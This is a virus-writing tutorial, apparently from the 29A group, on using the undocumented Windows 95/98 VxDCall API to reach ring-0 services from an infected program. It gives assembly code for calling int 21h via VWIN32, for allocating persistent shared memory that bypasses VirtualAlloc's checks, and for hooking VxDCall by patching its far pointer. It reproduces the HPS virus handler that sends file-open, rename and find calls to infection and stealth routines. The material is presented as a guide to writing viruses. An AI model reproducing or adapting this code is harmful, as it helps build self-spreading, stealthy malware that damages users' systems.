The VxDCall backdoor
by GriYo / 29A

Index:

1. "USER MODE" and "SUPERVISOR MODE"
2. "SUPERVISOR MODE" hacking
3. The API VxDCall
4. Win32 services exported by system VxD's
5. KERNEL32.DLL and the interrupt 21h
6. Interrupt 21h functions
7. Allocating shared memory
8. VxDCall hooking
9. Last words

1 - "USER MODE" and "SUPERVISOR MODE"

Windows95/98 uses two of the four protection levels supported by the i386 proccessor and its succesors:

- The ring-3 level, also called 'user mode', dedicated to user applications. Only API services can be accessed trough this privilege level.
- The ring-0 level is exclusively for the the kernel and is also known as 'supervisor mode'. There are no restrictions at the resources or services accessible trough this privilege level.

We all know that user applications are potential targets for viruses. If you are going to write a PE file infector your code will be executed at 'user mode', under the strict control of the operating system. Can the execution escape from this privilege level?

2 - "SUPERVISOR MODE" hacking

When an infected program is executed the virus code receives control for the very first time. At this point we know that the virus is working under 'user mode', far away from the 'supervisor mode'. To reach ring-0 we have to use one of the below described methods:

- Try to exploit a vulnerability that can get us to ring-0 in a illegal way. To learn more about this method I suggest you have a look at viruses like Sexy, CIH or Padania. You can read more about this specific technique in other articles in this issue of 29A.
- The virus can drop a VxD file that can either be dynamically loaded or loaded the next time the computer reboots. This technique has been exploited by alot of authors. To find information on how to write viral VxD's you can read my article "Virus oriented VxD writting tutorial", published in 29A issue 2.
- If you dont want to use your own VxD, you can use another VxD which already is loaded. This is possible due to a API called VxDCall. This API let us use a lot of services exported by system VxD's to Win32. This article shows how to exploit this technique for virus programming.

3 - The API VxDCall

"... A VxD is really nothing more than a DLL that runs at the highest privilege level of the processor (ring 0). Since VxD's runs at ring 0, there's essentially nothing they can't do".

After I read this fragment in Matt Pietrek's book 'Windows95 System Programming Secrets' I thought that VxD's might contain exported services, as DLL's do. I knew that VxD's exported services to other VxD's but did they export services to Win32?. If that was the case these services could be very useful for virus programming, because they are similar to API's but is running at ring-0.

After reading more at this subject I learned the answer to the above question. Yes VxD's contains all kind of services that are exported to other VxD's and Win32. The problem was now how to communicate with the VxD's at ring-0 from ring-3, which the virus is at.

After a little more research, I found a API called DeviceIoControl. This API allows a application to send/receive information to/from a VxD file. I then did some testing and learned this wasn't the API I was looking for, as DeviceIoControl doesn't allow the application to use services exported by VxD's.

When I tried to find some information about how to call Win32 services inside VxD's, all I could find was a reference. It seems to me like some poor attempt to hide important information about the internals of the operating system.

The key to it all is a undocumented API, which lets us use a powerful interface between ring-3 and ring-0. This API is called VxDCall and is exported by KERNEL32.DLL, but wait! Dont browse KERNEL32 exported API names because its not there. In order to drop more shadows on this Microsoft coders decided to hide this API, exporting it only as ordinal, not as name.

If we look at KERNEL32.DLL, we'll find tons of calls to this API. In some cases KERNEL32 code is just a wrapper between applications and VxD services.

The following piece of code shows how to call the service _PageFree, exported by VMM.VXD to Win32:

    		push 00000000h
    		push dword ptr [allocated_addr]
    		push 0001000Ah
    		call dword ptr [a_VxDCall]
    		jmp init_error

The first two instruction push the parameters needed by _PageFree into the stack. The 3rd instruction is part of the protocol used to call VxDCall. The low-word is an index that indentifies the service we want to call. The high-word indentifies the VxD containing that service. In this example the codification is:

    		0001h = VMM.VXD
    		000Ah = _PageFree

If we debug a call to KERNEL32 VirtualFree API we will find that the code just checks input parameters. Some lines ahead is a call to VMM _PageFree service, wich do the dirty work.

Now lets see some of the services exported to Win32 by system VxD's. Just by reading the name of the service you can imagine lots of ideas on how to use them in virus writing.

4 - Win32 services exported by system VxD's

Services exported by VMM.VXD:

>     00010000h	PageReserve
>     00010001h	PageCommit
>     00010002h	PageDecommit
>     00010003h	PagerRegister
>     00010004h	PagerQuery
>     00010005h	HeapAllocate
>     00010006h	ContextCreate
>     00010007h	ContextDestroy
>     00010008h	PageAttach
>     00010009h	PageFlush
>     0001000Ah	PageFree
>     0001000Bh	ContextSwitch
>     0001000Ch	HeapReAllocate
>     0001000Dh	PageModifyPermissions
>     0001000Eh	PageQuery
>     0001000Fh	GetCurrentContext
>     00010010h	HeapFree
>     00010011h	RegOpenKey
>     00010012h	RegCreateKey
>     00010013h	RegCloseKey
>     00010014h	RegDeleteKey
>     00010015h	RegSetValue
>     00010016h	RegDeleteValue
>     00010017h	RegQueryValue
>     00010018h	RegEnumKey
>     00010019h	RegEnumValue
>     0001001Ah	RegQueryValueEx
>     0001001Bh	RegSetValueEx
>     0001001Ch	RegFlushKey
>     0001001Dh       ???
>     0001001Eh	GetDemandPageInfo
>     0001001Fh	BlockOnID
>     00010020h	SignalID
>     00010021h	RegLoadKey
>     00010022h	RegUnloadKey
>     00010023h	RegSaveKey
>     00010024h	RegRemapPreDefKey
>     00010025h	PageChangePager
>     00010026h	RegQueryMultipleValues
>     00010027h	RegReplaceKey

Another VxD exporting services to Win32 is VWIN32.VXD. Some of this services are:

>     002A0000	GetVersion
>     002A0001	Stuff VWIN32 code pointers into caller-supplied buffer
>     002A0002	Get system time
>     002A0003	Stuff code pointers from KERNEL32 into VWIN32's data area
>     002A0004	Block on some semaphore
>     002A0005	Calls Signal_Semaphore_No_Switch on some semaphore
>     002A0006	Calls VMM Create_Semaphore, and stuff into global var
>     002A0007	Calls VMM Destroy_Semaphore on semaphore created by 002A0006
>     002A0008	VWIN32_CreateThread (including allocating TDBX)
>     002A0009	VWIN32_Sleep
>     002A000A	WakeThread
>     002A000B	TerminateThread
>     002A000C	Some sort of initialization function
>     002A000D	_VWIN32_QueueUserApc
>     002A000E	VWIN32_Initialize
>     002A000F	_VWIN32_QueueKernelApc
>     002A0010	VWIN32_Int21Dispatch
>     002A0011	Calls IFSMgr_Win32DupHandle
>     002A0012	VWIN32_BlockThreadSetBit
>     002A0013	Adjust_Thread_Exec_Priority
>     002A0014	_VWIN32_Get_Thread_Context
>     002A0015	_VWIN32_Set_Thread_Context
>     002A0016	Read process memory
>     002A0017	Write process memory
>     002A0018	Calls VMCPD_Get_CR0_State
>     002A0019	Calls VMCPD_Set_CR0_State
>     002A001A	SuspendThread
>     002A001B	ResumeThread
>     002A001C	???
>     002A001D	WaitCrst
>     002A001E	WakeCrst
>     002A001F	Something to do with loading/unloading VxD's
>     002A0020	WMCPD_Get_Version
>     002A0021	Set_Thread_Win32_Pri
>     002A0022	Calls Boost_With_Decay
>     002A0023	Calls Set_Inversion_Pri
>     002A0024	Calls Release_Inversion_Pri_ID
>     002A0025	Calls Release_Inversion_Pri
>     002A0026	Calls Attach_Thread_To_Group
>     002A0027	Calls Set_Thread_Static_Boost
>     002A0028	Calls Set_Group_Static_Boost
>     002A0029	VWIN32_Int31Dispatch
>     002A002A	VWIN32_Int41Dispatch
>     002A002B	VWIN32_BlockForTermination
>     002A002C	TerminationHandler2
>     002A002D	???
>     002A002E	dwBlockSingleWnod (WaitForSingleObject)
>     002A002F	dwBlockMultipleWnod (WaitForMultipleObjects)
>     002A0030	VWIN32_SetEvent
>     002A0031	Something to do with delivering APC's
>     002A0032	???
>     002A0033	InitUserAPCList
>     002A0034	???
>     002A0035	Calls VMM Signal_Semaphore_No_Switch
>     002A0036	Calls System_Control (KERNEL32_INITIALIZED)
>     002A0037	VWIN32_CommonFaultPopup
>     002A0038	VWIN32_ForceCrsts
>     002A0039	???
>     002A003A	VWIN32_FreezeAllThreads
>     002A003B	VWIN32_UnFreezeAllThreads
>     002A003C	Calls IFS_Mgr_Ring0_FileIO
>     002A003D	Calls Get_Initial_Thread_Handle, Attach_Thread_To_Group and
>                     Boost_Thread_With_VM
>     002A003E	VWIN32_ActivateTimeBiasSet
>     002A003F	ModifyPagePermission (used by VirtualQueryEx)
>     002A0040	Used by VirtualQueryEx
>     002A0041	ForceLeaveCrst
>     002A0042	ForceEnterCrst
>     002A0043	Calls VMCPD_Set_Thread_Excpt_Type
>     002A0044	VTD_Get_Real_Time
>     002A0045	Calls System_Control (SET_DEVICE_FOCUS)
>     002A0046	Calls VWIN32_UnFreezeThread
>     002A0047	Calls VMM_Replace_Global_Environment
>     002A0048	Calls System_Control (KERNEL32_SHUTDOWN)
>     002A0049	???
>     002A004A	VW32_AddSysCrst
>     002A004B	VW32_SetTimeOut
>     002A004C	VW32_Cancel_Time_Out
>     002A004D	???
>     002A004E	Something to do with setting and reflecting hotkeys

>     		Notes:

>     		Crst means Critical Section

>                     APC means Asynchronous Procedure Call

>                     VMCPD is the Virtual Math Coprocessor Device

>                     IFSMgr is the Installable File System Manager

>                     System_Control is the VMM.VXD ring 0 service that broadcasts
>                     system control messages to VxD's.

5 - KERNEL32.DLL and the interrupt 21h

Look close at VWIN32 exported services. There is one called VWIN32_Int21Dispatch. Its is a backdoor that allows Win32 to call the well known interrupt 21h. Now search the KERNEL32 code and look for calls to this service. Oh! There are hundreds! I though Microsoft said that Windows95 doesnt deppend on MsDos. Below is a example of how to call interrupt 21h using that service:

    my_int21h:	push ecx
    		push eax
    		push 002A0010h
    		call dword ptr [ebp+a_VxDCall]
    		ret

I found the right way to call VWIN32_Int21hDispatch by looking at how KERNEL32 calls it. I learned that Windows uses interrupt 21h to perform tasks such as: find, open, read, write, close, delete or rename files. By hooking all these functions with VxDCall, we can effectively monitor file access.

6 - Interrupt 21h functions

This is a list of interrupt 21h functions for MS-DOS LFN (long file name) extension. KERNEL32 uses these functions continiuosly.

>     0E00		Set default drive
>     1900		Get current drive
>     2A00		Get system date
>     2B00		Set system date
>     2C00		Get system time
>     2D00		Set system time
>     3600		Get disk free space
>     3D00		Open existing file for read only
>     3D02		Open existing file for read/write
>     3E00		Close file
>     3F00		Read file
>     4000		Write file
>     4200		Set current file position relative to start of file
>     4201		Set current file position relative to current position
>     4202		Set current file position relative to end of file
>     4400		IOCTL get device information
>     4401		IOCTL set device information
>     4408		IOCTL check if block device is removable
>     4409		IOCTL check if block device remote
>     440D		IOCTL generic block device request
>     4B00		Exec program
>     4D00		Get return code
>     5000		Set current PSP
>     5700		Get file date/time
>     5701		Set file date/time
>     5704		Set extended file attributes
>     5900		Get extended error info
>     5C00		Lock file region
>     5C01		Unlock file region
>     5E00		Network functions
>     6800		Commit file
>     7139		LFN create directory
>     713A		LFN remove directory
>     713B		LFN change directory
>     7141		LFN delete file
>     7143		LFN get/set file attributes
>     7147		LFN get current directory
>     714E		LFN find first file
>     714F		LFN find next file
>     7156		LFN rename file
>     7160		LFN get canonical filename
>     716C		LFN extended open/create
>     71A0		LFN get volume information
>     71A1		LFN find close
>     71A6		LFN get file info by handle
>     71A7		LFN file time to DOS time

The following example shows how to use these functions. This code will be useful later in our virus.

>     ;Move file pointer
>     ;
>     ;Entry:		ebx = File handle

>     seek_here:	;Move pointer to position specified in edx
>     		mov eax,edx
>                	and eax,0FFFF0000h
>     		shr eax,10h
>     		mov ecx,eax
>     		mov eax,00004200h
>     		jmp short seek_now

>     seek_bof:	;Move pointer to beginning of file
>     		mov eax,00004200h
>     		jmp short do_seek

>     seek_eof:	;Move pointer to end of file
>     		mov eax,00004202h
>     do_seek: 	xor edx,edx
>     		xor ecx,ecx
>     seek_now:	call my_int21h
>     		jc exit_seek
>     		and eax,0000FFFFh
>     		shl edx,10h
>     		or eax,edx
>     		xor edx,edx
>     		clc
>     exit_seek:	ret

7 - Allocating shared memory

We can use the functions exported by VMM.VXD in the same way we used with VWIN32.VXD. Lets have a look at the services used by VMM.VXD to handle 'page-based' memory in Windows95.

    		_GetDemandPageInfo
    		_PageAttach
    		_PageCommit
    		_PageDecommit
    		_PageDecommit
    		_PageFlush
    		_PageFlush
    		_PageFree
    		_PageModifyPermisions
    		_PageQuery
    		_PageReserve

This services correspond with the ones in KERNEL32 APIs used for handling 'virtual memory'. In some cases that code at KERNEL32 just checks the entry parameters and call the corresponding service in VMM.VXD.

We now how to allocate 'virtual memory' in Win32:

    VirtualAlloc ( 	LPVOID lpAddress,
    		DWORD dwSize,
    		DWORD flAllocationType,
    		DWORD flProtect );

The VirtualAlloc function reserves or commits a region of pages in the virtual address space of the calling process. The entry parameters are:

    		- lpAddress

                    Specifies the desired starting address of the region to
    		allocate. If this parameter is NULL, the system determines
    		where to allocate the region.

                    - dwSize

    		Specifies the size, in bytes, of the region. If the lpAddress
    		parameter is NULL, this value is rounded up to the next page
    		boundary.

                    - flAllocationType

                    Specifies the type of allocation. You can specify any
    		combination of the following flags:

                    MEM_COMMIT - Allocates physical storage in memory or in the
    		paging file on disk for the specified region of pages. An
    		attempt to commit an already committed page will not cause
    		the function to fail. This means that a range of committed
    		or decommitted pages can be committed without having to worry
    		about a failure.

                    MEM_RESERVE - Reserves a range of the process's virtual
    		address space without allocating any physical storage. The
    		reserved range cannot be used by any other allocation
    		operations (the malloc function, the LocalAlloc function, and
    		so on) until it is released. Reserved pages can be committed
    		in subsequent calls to the VirtualAlloc function.

                    - flProtect

                    Specifies the type of access protection. If the pages are
    		being committed, any one of the following flags can be
    		specified, along with the PAGE_GUARD and PAGE_NOCACHE
    		protection modifier flags, as desired:

    		PAGE_READONLY
    		PAGE_READWRITE
    		PAGE_EXECUTE
    		PAGE_EXECUTE_READ
    		PAGE_EXECUTE_READWRITE
    		PAGE_GUARD
    		PAGE_NOACCESS
    		PAGE_NOCACHE

Lets trace a call to VirtualAlloc with the debugger. We will see how this API checks the entry parameters and then calls to the service _PageReserve in VMM.VXD, using VxDCall. During the execution of VirtualAlloc API the call will return with error in the folling cases:

    		- If dwSize specifies too much space.
    		- If lpAddress is an invalid address.
    		- If the undocumented flag MEM_SHARED was included.
    		- If the call to _PageReserve fails.

Although we know the existence of the flag MEM_SHARED, we cant use it due to the checks performed by VirtualAlloc. In order to allocate a region of pages into system shared memory we are going to bypass the calling protocol and go straigh to _PageReserve. Here is an example:

                    push PC_WRITEABLE or PC_USER
                    push page_mem_size                      ;Size
                    push PR_SHARED
                    push 00010000h                          ;Call to _PageReserve
                    call dword ptr [ebp+a_VxDCall]          ;...using VxDCall
                    cmp eax,0FFFFFFFFh                      ;Error?
                    je init_error
                    cmp eax,80000000h                       ;Into shared memory?
                    jb free_pages
                    mov dword ptr [ebp+mem_address],eax     ;Save region address
                    push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
                    push 00000000h
                    push PD_ZEROINIT
                    push page_mem_size                      ;Size
                    shr eax,0Ch                             ;Page number
                    push eax
                    push 00010001h                          ;Call to _PageCommit
                    call dword ptr [ebp+a_VxDCall]          ;...using VxDCall
                    or eax,eax
                    je free_pages

In the first call to VxDCall i used the service _PageReserve from VMM.VXD (0001h = VMM.VXD and 0000h = _PageReserve). As first entry parameter we specify the type of memory to allocate, using the following flags:

                    PC_FIXED        Commit a region of locked memory. This
    				pages will stay locked along all the session.

                    PC_LOCKED       Commit a regin of locked memory that can
    				be unlocked later.

                    PC_WRITEABLE    Write access to the commited pages.

                    PC_USER         This is a must if you want to access the
    				allocated pages from ring-3.

After this the routines pushes into stack the number of bytes to allocate. The last parameter is the starting page for the allocated region, but you can also specify one of the following flags:

                    PR_PRIVATE      Reserve memory in the ring-3 privated area
    				for each application,

                    PR_SHARED       Reserve memory in the ring-3 shared area.

                    PR_SYSTEM       Reserve ring-0 memory.

By means of PR_SHARED flag our memory region will be allocated into shared memory, and this area will be visible for all applications. This is important if we plan to monitor all the calls suited by any application.

In case of error Page_Reserve will return 0FFFFFFFFh in eax register. If the memory was allocated without problems eax is a pointer to it. Then we can check if the pages was allocated at shared memory area, this is, above 80000000h.

Once the memory is allocated it's time to tell the operating system to map that memory into physical memory. For this purpose is _PageCommit, exported by VMM.

The first parameter are some flags similar to the ones used in the call to _PageReserve. This time we specify PC_PRESENT to keep the memory once the owner program terminates.

I use 0 as next parameter, i dont want to mess with 'PAGERS' and other details of the memory managment, this is out of the purpose of this article.

Then we use PD_ZEROINIT to initialize allocated memory with zero's. The last parameter specifies the number of pages to commit. In case of error the call will return 0, and the virus have to free previously allocated pages:

    free_pages:	xor eax,eax
                    push eax
                    push dword ptr [ebp+mem_address]
                    push 0001000Ah
                    call dword ptr [ebp+a_VxDCall]

The work is done, now our virus can allocate a block of memory that will stay there after the application terminates. The virus can copy its body to this area and redirect some kernel functions to pass through our code before or after being executed.

8 - VxDCall hooking

Take the debugger and have a look at how the VxDCall function comunicates with VxD's. You will find something like this:

    		mov eax,dword ptr [esp+00000004h]
    		pop dword ptr [esp]
    		call fword ptr cs:[BFFC9004]

This code loads eax with the identifier of the VxD containing the desired service. After a stack fix everything is ready for jumping to the service code. The call instruction will translate us to:

    		int 30h

Nice... Seems like the system is using interrupt 30h to jump into ring-0. If you trace into the interrupt call you will fall somewhere inside VMM.VXD.

Now lets have a closer look at VxDCall code, soecially to the following instruction:

    		call fword ptr cs:[BFFC9004]

This instruction will translate the execution to the address stored into cs:[BFFC9004]. This address points to the interrupt call. If we overwrite this value with a pointer to our own handler we succesfully hooked VxDCall.

    		mov esi,dword ptr [ebp+a_VxDCall]       ;VxDCall address
    		mov ecx,00000100h                       ;Explore 0100h bytes
    trace_VxDCall:  lodsb
    		cmp al,2Eh
    		jne trace_next
    		cmp word ptr [esi],1DFFh
    		je get_int30h
    trace_next:	loop trace_VxDCall

The code above follows the VxDCall API code looking for the following sequence of byte:

    		2E FF 1D xx xx xx xx  CALL FWORD PTR CS:[xxxxxxxx]

When the virus finds the call instruction it can extract the value there, save it inside virus code and patch it to point to the viral handler.

    		cli
    		lodsw                                   ;Skip FF 1D opcodes
    		lodsd                                   ;Get ptr to INT 30h
    		push eax
    		mov esi,eax
    		mov edi,dword ptr [ebp+mem_address]
    		add edi,VxDCall_code-mem_base
    		mov ecx,00000006h
    		rep movsb
    		pop edi
    		mov eax,dword ptr [ebp+mem_address]
    		add eax,VxDCall_hook-mem_base
    		stosd
    		mov ax,cs                               ;Overwrite far ptr
    		stosw
    		sti

We stop interrupts before proceeding. Then take the address of xxxxxxxx and we find a 'FWORD' that point to the int 30h instruction. 'FWORD' are six bytes, the virus have to copy this bytes into a save buffer inside its body.

Finally we write the address of our handler, first the 32bits offset and the segment next (remember that 'FWORD' is a 16:32 value). Turn on interrupts, now the hook is active.

Below is a portion of the HPS virus, the interrupt handler:

    VxDCall_hook:   pushad

                    call mem_delta                          ;Get "in-memory"
    mem_delta:      pop ebp                                 ;delta offset
                    sub ebp,offset mem_delta

                    cmp dword ptr [ebp+hook_status],"BUSY"  ;Dont process our
                    je exit_hook                            ;own calls

                    cmp eax,002A0010h                       ;VWIN32 VxD int 21h?
                    jne exit_hook

                    mov eax,dword ptr [esp+0000002Ch]

                    cmp ax,2A00h                            ;Get system time?
                    je tsr_check

                    cmp ax,3D00h                            ;Open file read?
                    je infection_edx

                    cmp ax,3D01h                            ;Open file
                    je infection_edx                        ;read/write?

                    cmp ax,7143h                            ;X-Get/set attrib?
                    je infection_edx

                    cmp ax,714Eh                            ;LFN find first file
                    je stealth

                    cmp ax,714Fh                            ;LFN find next file
                    je stealth

                    cmp ax,7156h                            ;LFN rename file?
                    je infection_edx

                    cmp ax,716Ch                            ;LFN extended open?
                    je infection_esi

                    cmp ax,71A8h                            ;Generate short name?
                    je infection_esi

    exit_hook:      popad

    do_far_jmp:     ;Do a jmp fword ptr cs:[xxxxxxxx] into original code

                    db 2Eh,0FFh,2Dh
    ptr_location    dd 00000000h

Some readers will notice that the virus sets a global variable at the beginning of the handler code. This variable works as semaphore and it's purpose is to avoid the virus from proccesing its own calls to VxDCall.

Next, the virus checks if the requested service is VWIN32_Int21Dispatch. If so the function number specified by the caller is read from the stack. The virus looks for interesting functions and perform the corresponding tasks.

Finally the execution is passed to the original VxDCall function, which address we saved before.

9 - Last words

This is just another backdoor in Windows95 security, that is also present under Windows98. I wrote the HPS virus to show how to exploit this.

HPS shows how to trick VxDCall to infect files and perform its stealth routine. The virus also uses VxDCall to 'bypass' KERNEL32 memory managment, fooling all checks.